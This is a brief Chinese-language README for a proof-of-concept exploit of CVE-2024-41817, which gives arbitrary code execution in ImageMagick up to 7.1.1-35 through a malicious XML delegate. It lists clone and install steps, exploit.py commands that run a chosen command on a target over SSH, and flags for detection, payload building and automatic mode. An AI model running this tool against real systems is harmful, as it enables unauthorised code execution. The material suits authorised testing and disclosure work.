
CVE-2024-41817 POC ImageMagick <= 7.1.1-35 Arbitrary Code Execution
针对 ImageMagick 版本 <= 7.1.1-35 的概念验证利用程序,通过恶意 XML 委托实现任意代码执行。
该漏洞利用利用了 ImageMagick 中的一个漏洞,允许通过特制库执行任意代码。该脚本可以:
git clone https://github.com/Dxsk/CVE-2024-41817-poc/
cd CVE-2024-41817-poc
pip install -r requirements.txt
python3 exploit.py -H <target> -p <port> -u <user> -P <password> -d
python3 exploit.py -c "command" -B
python3 exploit.py -c "command" -H <target> -p <port> -u <user> -P <password> -A
-c, --command:要执行的命令(默认:"id")-H, --host:目标主机-p, --port:SSH 端口(默认:22)-u, --username:SSH 用户名-P, --password:SSH 密码-d, --detection:自动检测 ImageMagick 是否易受攻击-B, --build:仅构建载荷-A, --auto:全自动模式-v, --verbose:详细输出本工具仅供教育目的使用。请仅针对您拥有测试权限的系统使用。